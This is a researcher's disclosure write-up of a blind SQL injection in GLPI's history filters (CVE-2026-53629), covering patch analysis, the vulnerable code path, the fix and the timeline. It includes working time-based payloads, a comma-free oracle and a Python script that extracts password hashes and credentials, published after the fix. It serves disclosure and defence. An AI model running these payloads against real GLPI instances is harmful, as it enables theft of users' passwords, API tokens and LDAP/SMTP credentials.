July 27, 2026
Reading the patch instead of the code: SQL Injection in GLPI (CVE-2026–53629)
On March 3, 2026, GLPI shipped a fix for a SQL injection in the history filters, CVE-2026–29047. Five lines added across two files…

By Paulo Werneck (5kr1pt)
12 min read
On March 3, 2026, GLPI shipped a fix for a SQL injection in the history filters, CVE-2026–29047. Five lines added across two files, advisory published, new release out. That commit is where this story starts, because two and a half months later the exact same function gave me a CVE of my own.
The reasoning behind it is not complicated. When a project patches an injection, the patch tends to fix the value the reporter abused and stop there. A fresh advisory hands you a function the maintainer already knows is dangerous, and the diff shows you precisely how far they were willing to go. So instead of cloning the repo and grepping for $_GET like I usually do, I spent the afternoon reading someone else's fix.
Some context on why this software pays for the hours. GLPI is an ITSM tool, tickets and assets and inventory and contracts, and the companies that adopt it tend to route the entire IT department through it. So the database ends up holding user hashes, API tokens, the LDAP bind password and the SMTP credentials, all in the same place.
Credit where it belongs, by the way. GLPI got on my list because of Carlos Vieira's write-up for Hakai Security on CVE-2023–28838, and Cadu, which is how everybody calls him, happens to be my teacher at Hacking Club. His bug is a UNION injection in the dynamic reports and he got to it by walking backwards from a dangerous sink until he found a way in. Mine is a blind injection in the history tab and I got to it from the opposite end, so the two posts go well together if you want to see the same product broken from both directions.
So, a big thank you to Cadu and to the research team at Hakai Security, whose write-ups I keep going back to, and to the whole Hacking Club crew. Most of what I know about reading code looking for trouble I learned there, and this CVE is a direct consequence of that.
One detail of that advisory matters for the rest of the story. It is rated with Privileges required: High, so the attacker they had in mind was already an administrator. Keep that in mind, because the bug I ended up finding in the same function needs a lot less than that.
Reading the previous patch
The commit is c0e8831031, and being that small is exactly what makes it interesting. A big refactor would mean the maintainer rethought the function. Five lines mean they closed a hole.
One of the changes is in front/log/export.php, replacing canViewItem() with a proper can($id, READ). The other one is in Log::convertFiltersValuesToSqlCriteria(), in src/Log.php, and it adds two things:
$index = (int) $index; // added by the patch
if (!empty($operator) && $operator != 'NOT') { // added by the patch
throw new RuntimeException('Invalid operator: ' . $operator);
}$index = (int) $index; // added by the patch
if (!empty($operator) && $operator != 'NOT') { // added by the patch
throw new RuntimeException('Invalid operator: ' . $operator);
}The array index got a cast to int. The operator got an allow list. Now let's look at the function that received this patch, in the fixed version 11.0.7.
The function reads the filters that the history tab sends. Each filter is a string with three parts separated by :, and a regex splits it:
if (1 === preg_match('/^(?P<key>.+):(?P<operator>.*):(?P<values>.+)$/', $var, $matches)) {if (1 === preg_match('/^(?P<key>.+):(?P<operator>.*):(?P<values>.+)$/', $var, $matches)) {
So we have three user-controlled values here: key, operator and values. The patch validated the operator. The patch validated the index of the outer array. Nobody validated key.
$key = $matches['key']; // no validation at all
$operator = $matches['operator'];
if (!empty($operator) && $operator != 'NOT') {
throw new RuntimeException('Invalid operator: ' . $operator);
}$key = $matches['key']; // no validation at all
$operator = $matches['operator'];
if (!empty($operator) && $operator != 'NOT') {
throw new RuntimeException('Invalid operator: ' . $operator);
}
And here is the part that made me sure it was worth the time. A few lines below, the code already knows which keys are legitimate:
// linked_action and id_search_option are stored as integers
if (in_array($key, ['linked_action', 'id_search_option'])) {
$values = array_map('intval', $values);
}// linked_action and id_search_option are stored as integers
if (in_array($key, ['linked_action', 'id_search_option'])) {
$values = array_map('intval', $values);
}
The developer wrote the list of valid keys, used it to decide how to cast the values, and then let any other key pass through anyway. Two lines later, $key becomes an array key of the criteria that will be sent to the query builder:
if (!empty($operator)) {
$affected_field_crit[$index][$operator][$key] = $values;
} else {
$affected_field_crit[$index][$key] = $values; // $key lands here, raw
}if (!empty($operator)) {
$affected_field_crit[$index][$operator][$key] = $values;
} else {
$affected_field_crit[$index][$key] = $values; // $key lands here, raw
}
At this point I still did not have a vulnerability. $key is supposed to be a column name, and in most query builders an invalid column name gives you a SQL error, not an injection. What matters is what the builder does with it.
Why OR is not a column name
GLPI has its own query builder, DBmysqlIterator. The function that turns a criteria array into a WHERE clause is analyseCrit(), in src/DBmysqlIterator.php. It walks the array and, for each key, decides what that key means. Most keys become column names, quoted and compared. But some do not:
} elseif (($name === "OR") || ($name === "AND")) {
// Binary logical operator
$ret .= "(" . $this->analyseCrit($value, $name) . ")";
} elseif ($name === "NOT") {
// Uninary logicial operator
$ret .= " NOT (" . $this->analyseCrit($value) . ")";} elseif (($name === "OR") || ($name === "AND")) {
// Binary logical operator
$ret .= "(" . $this->analyseCrit($value, $name) . ")";
} elseif ($name === "NOT") {
// Uninary logicial operator
$ret .= " NOT (" . $this->analyseCrit($value) . ")";
This is normal behavior. Every query builder needs a way to express (a OR b), and reserving a few key names for that is the usual design. The problem is where that recursion ends.
Right at the top of the same function:
public function analyseCrit($crit, $bool = "AND")
{
if (is_string($crit)) {
Toolbox::deprecated(
sprintf(
'Passing SQL request criteria as strings is deprecated for security reasons. Criteria was `` %s ``.',
$crit
),
version: '11.1'
);
/**
* Delegate the safeness check to the caller.
* There is no such usage in GLPI, it is the plugin developer responsibility to switch to safer criteria specs.
* @psalm-taint-escape sql
*/
$safe_crit = $crit;
return $safe_crit;public function analyseCrit($crit, $bool = "AND")
{
if (is_string($crit)) {
Toolbox::deprecated(
sprintf(
'Passing SQL request criteria as strings is deprecated for security reasons. Criteria was `` %s ``.',
$crit
),
version: '11.1'
);
/**
* Delegate the safeness check to the caller.
* There is no such usage in GLPI, it is the plugin developer responsibility to switch to safer criteria specs.
* @psalm-taint-escape sql
*/
$safe_crit = $crit;
return $safe_crit;
This is the money shot of the whole research. If analyseCrit() receives a string, the string is returned as SQL with no escaping and no binding. There is a deprecation warning, there is a comment saying "delegate the safeness check to the caller", and there is even a @psalm-taint-escape sql annotation, which tells the static analysis tool to stop following the taint at this exact point. So the SAST is blind here by design, and the caller in Log.php does not sanitize anything either.
The comment says "there is no such usage in GLPI". That is true if you only count strings that GLPI itself writes. It is not true when I get to choose the array key.
The chain is now complete:
- I control
$key - I set it to
OR - the builder does not treat
ORas a column, it recurses into my values - my values are strings
- strings are returned as raw SQL inside the
WHERE
Can I actually reach it with a request?
Finding bad code is half of the job. Bad code that no user input reaches is not a vulnerability, it is just bad code. So before opening Burp I wanted to see the path from a URL to that string.
Who calls convertFiltersValuesToSqlCriteria()?
The first one is Log::showForItem(), the function behind the history tab of any item:
$start = intval(($_GET["start"] ?? 0));
$filters = $_GET['filters'] ?? [];
$is_filtered = count($filters) > 0;
$sql_filters = self::convertFiltersValuesToSqlCriteria($filters);$start = intval(($_GET["start"] ?? 0));
$filters = $_GET['filters'] ?? [];
$is_filtered = count($filters) > 0;
$sql_filters = self::convertFiltersValuesToSqlCriteria($filters);
$start gets an intval(). $filters gets nothing, it goes straight in.
The second caller is the CSV export of the history:
$filter = Log::convertFiltersValuesToSqlCriteria($this->filter);
$logs = Log::getHistoryData($this->item, 0, 0, $filter);$filter = Log::convertFiltersValuesToSqlCriteria($this->filter);
$logs = Log::getHistoryData($this->item, 0, 0, $filter);
And $this->filter comes from the front controller:
$itemtype = $_GET['itemtype'] ?? null;
$id = $_GET['id'] ?? null;
$filter = $_GET['filter'] ?? [];
Session::checkRight(Log::$rightname, READ);$itemtype = $_GET['itemtype'] ?? null;
$id = $_GET['id'] ?? null;
$filter = $_GET['filter'] ?? [];
Session::checkRight(Log::$rightname, READ);
Look at the access check. Session::checkRight(Log::$rightname, READ), which is the logs read right. It ships enabled in Admin, Super-Admin, Supervisor and, this is the important one, Read-Only. So you do not need to be an administrator to reach the sink. A read only account, the kind of profile companies hand out to interns, helpdesk and auditors, is enough.
The last step of the chain is getHistoryData(), which merges my criteria into the WHERE of the real query:
$query = [
'FROM' => self::getTable(),
'WHERE' => [
'items_id' => $items_id,
'itemtype' => $itemtype,
] + $sqlfilters,
'ORDER' => 'id DESC',
];$query = [
'FROM' => self::getTable(),
'WHERE' => [
'items_id' => $items_id,
'itemtype' => $itemtype,
] + $sqlfilters,
'ORDER' => 'id DESC',
];That + $sqlfilters is where my OR key joins the party.
The first request
Time to stop reading and start sending requests. My lab was GLPI 11.0.7 on PHP 8.4.21 with MariaDB 11.8.
First, the baseline. Plain export of the history of the root entity, no filter:
GET /front/log/export.php?itemtype=Entity&id=0 HTTP/1.1GET /front/log/export.php?itemtype=Entity&id=0 HTTP/1.1
79 ms, six rows. Remember the six rows, they matter in a second.
Now the same request with the injection:
GET /front/log/export.php?itemtype=Entity&id=0&filter[affected_fields][0]=OR::1 AND sleep(5) HTTP/1.1GET /front/log/export.php?itemtype=Entity&id=0&filter[affected_fields][0]=OR::1 AND sleep(5) HTTP/1.1
30 seconds. Note the empty middle field in OR::1 AND sleep(5). That is the operator slot, and the patch requires it to be empty or NOT, so I leave it empty and the regex is still happy.
The generated SQL looks like this:
SELECT * FROM `glpi_logs`
WHERE `items_id` = '0' AND `itemtype` = 'Entity'
AND (((((1 AND sleep(5))))))SELECT * FROM `glpi_logs`
WHERE `items_id` = '0' AND `itemtype` = 'Entity'
AND (((((1 AND sleep(5))))))Those nested parentheses are the recursion of analyseCrit() wrapping my string. Ugly, but valid SQL, and my payload is inside it. The response comes back with zero rows because 1 AND sleep(5) evaluates to false, but MySQL still runs sleep(5) once for each of the six candidate rows. Six times five seconds is the 30 seconds on the screen.
That row multiplier is a detail worth keeping in mind. On a production instance with thousands of log entries, a sleep(5) never comes back. You have to go down to 0.1 or less, and the timing still works fine.
Writing a payload with no commas and no quotes
The injection works, but the parser puts two annoying limits on it.
The first one is the comma. Look at the parsing line again:
$values = explode(',', $matches['values']);$values = explode(',', $matches['values']);Every comma in my payload splits it into a separate array item. So no SUBSTRING(password, 1, 1), no IF(cond, a, b), no CONCAT(a, b). Almost every blind SQLi payload you find on the internet uses commas.
MySQL solves this if you know the ANSI syntax. CASE WHEN ... THEN ... ELSE ... END is a conditional with no comma, and MID(str FROM pos FOR len) is a substring with no comma. Same functions, different syntax.
The second limit is the quotes. Between GLPI's escaping and the builder, comparing against a string literal is a pain. The easy way out is to not use strings at all. 0x676c7069 is glpi for MySQL and it goes through everything untouched.
With that, here is the boolean oracle. True condition, the admin user with id 2 exists and is called glpi:
filter[affected_fields][0]=OR::(SELECT CASE WHEN
(SELECT COUNT(*) FROM glpi_users WHERE id=2 AND name=0x676c7069)>0
THEN sleep(2) ELSE 0 END)filter[affected_fields][0]=OR::(SELECT CASE WHEN
(SELECT COUNT(*) FROM glpi_users WHERE id=2 AND name=0x676c7069)>0
THEN sleep(2) ELSE 0 END)
False condition, a user that does not exist:
filter[affected_fields][0]=OR::(SELECT CASE WHEN
(SELECT COUNT(*) FROM glpi_users WHERE name=0x6e6f6e6578697374656e743939)>0
THEN sleep(2) ELSE 0 END)filter[affected_fields][0]=OR::(SELECT CASE WHEN
(SELECT COUNT(*) FROM glpi_users WHERE name=0x6e6f6e6578697374656e743939)>0
THEN sleep(2) ELSE 0 END)
12 seconds against 65 milliseconds. That is not a marginal delta you need statistics to confirm. It is a clean one bit oracle, and the six rows are working for me instead of against me here, because they amplify the signal.
Dumping the hash
With a comma free oracle the rest is mechanical. MID(password FROM n FOR 1) reads one character, ORD() turns it into a number, and binary search finds any printable byte in seven requests.
Before automating I sent one request by hand, to check the first character of the admin hash against 0x24, which is $:
filter[affected_fields][0]=OR::(SELECT CASE WHEN
(SELECT MID(password FROM 1 FOR 1) FROM glpi_users WHERE id=2)=0x24
THEN sleep(2) ELSE 0 END)filter[affected_fields][0]=OR::(SELECT CASE WHEN
(SELECT MID(password FROM 1 FOR 1) FROM glpi_users WHERE id=2)=0x24
THEN sleep(2) ELSE 0 END)
Good sign. Then the script:
def is_true(session, condition):
payload = f"(SELECT CASE WHEN {condition} THEN sleep({SLEEP_T}) ELSE 0 END)"
return inject(session, payload) > THRESH
def extract_string(session, query, length):
result = ""
for pos in range(1, length + 1):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
cond = f"(SELECT ORD(MID(({query}) FROM {pos} FOR 1)))>{mid}"
if is_true(session, cond):
lo = mid + 1
else:
hi = mid
result += chr(lo)
print(f"\r[*] [{pos}/{length}] {result}", end="", flush=True)
return resultdef is_true(session, condition):
payload = f"(SELECT CASE WHEN {condition} THEN sleep({SLEEP_T}) ELSE 0 END)"
return inject(session, payload) > THRESH
def extract_string(session, query, length):
result = ""
for pos in range(1, length + 1):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
cond = f"(SELECT ORD(MID(({query}) FROM {pos} FOR 1)))>{mid}"
if is_true(session, cond):
lo = mid + 1
else:
hi = mid
result += chr(lo)
print(f"\r[*] [{pos}/{length}] {result}", end="", flush=True)
return result
$2y$12$2Uq/zM.YApvqxGcXy4Lc8.SvtXx9rSYJwNp5kxVBeni4k0vqvVaS.$2y$12$2Uq/zM.YApvqxGcXy4Lc8.SvtXx9rSYJwNp5kxVBeni4k0vqvVaS.I compared it against the database directly and it matched character by character. The same script works on glpi_users.api_token and personal_token, which are live credentials for the REST API, and on glpi_configs, where GLPI stores the SMTP password and the LDAP bind password.
The full PoC is on GitHub: github.com/5kr1pt/glpi-logbleed. It is published now that the fix is out, so you can check your own instance is really patched.
So the impact is not "an attacker can read the tickets". It is every credential the application holds, reachable from an account whose entire purpose is to not change anything. The advisory ended up as CVSS 4.0 7.1 High.
The affected range in the advisory is 9.4.0 up to 11.0.7. This code path has been sitting there since 2019.
And here is where the comparison with the previous advisory closes the circle. That one was rated Privileges required: High, an administrator abusing a feature they already had. This one is Privileges required: Low, and the profile that reaches it is the one you hand out to whoever should not be able to touch anything. Same function, same file, completely different attacker.
The fix
I sent the report to security@glpi-project.org on May 28 and the answer came the next day. Alexandre Delaunay from Teclib confirmed the bug and opened the GHSA on the same day.
The fix is the boring one, and boring is correct here. $key is not free text, it can only be one of the keys the interface actually uses, so it gets an allow list:
$key = $matches['key'];
$allowed_keys = ['linked_action', 'id_search_option', 'itemtype_link'];
if (!in_array($key, $allowed_keys, true)) {
continue;
}$key = $matches['key'];
$allowed_keys = ['linked_action', 'id_search_option', 'itemtype_link'];
if (!in_array($key, $allowed_keys, true)) {
continue;
}I proposed the patch in the private fork using the two keys that were already written in the function for the intval cast. It was reviewed and approved, then cedric-anne rewrote it into his own commit, added itemtype_link (which the interface also uses, and I had missed) and a guard for the case where the filter array ends up empty and the builder generates AND ((())). It landed on 11.0/bugfixes on June 24 and was backported to the 10.0 branch.
The other half of the problem is still there. The deprecated string passthrough in analyseCrit() is the primitive that makes all of this possible, and while a raw string can reach the WHERE clause, every new caller is a candidate for the same bug. It is marked for removal in 11.1.
Timeline
- May 27, 2026. Found while reading the patch of CVE-2026–29047, PoC confirmed in the lab
- May 28, 2026. Reported to security@glpi-project.org
- May 29, 2026. Confirmed by Teclib, GHSA-cpcj-x335–5cmh opened as draft
- June 4, 2026. Patch proposed and approved in the private fork
- June 10, 2026. CVE-2026–53629 assigned by GitHub
- June 24, 2026. Fix merged into
11.0/bugfixes - July 27, 2026. Advisory published, fixed in 11.0.8 and 10.0.26
What I take from this
Three things, and none of them are about GLPI specifically.
Read the patches, not only the code. A fresh advisory tells you exactly which function the maintainer already knows is dangerous, and the fix usually stops at the value the reporter abused. Here it was literally one variable away, and the list of safe values was already written in the same function.
A query builder is not a sanitizer. GLPI's builder is fine, but it has a legacy branch that returns raw strings, and that branch is annotated to make the static analysis stop looking at it. Any "safe by design" abstraction has an escape hatch somewhere, and the escape hatch is the interesting part.
And check what the default profiles can do. A vulnerability that needs Super-Admin is almost a feature. The same vulnerability reachable by the Read-Only profile is a real one, because that is the account nobody watches.
Advisory: GHSA-cpcj-x335–5cmh / CVE-2026–53629 / CVSS 4.0 - 7.1 High / CWE-89
PoC: github.com/5kr1pt/glpi-logbleed
If you run GLPI, update to 11.0.8 or 10.0.26. If you cannot update right now, remove the READ right on logs from the profiles that do not need it.
KRPT | 5kr1pt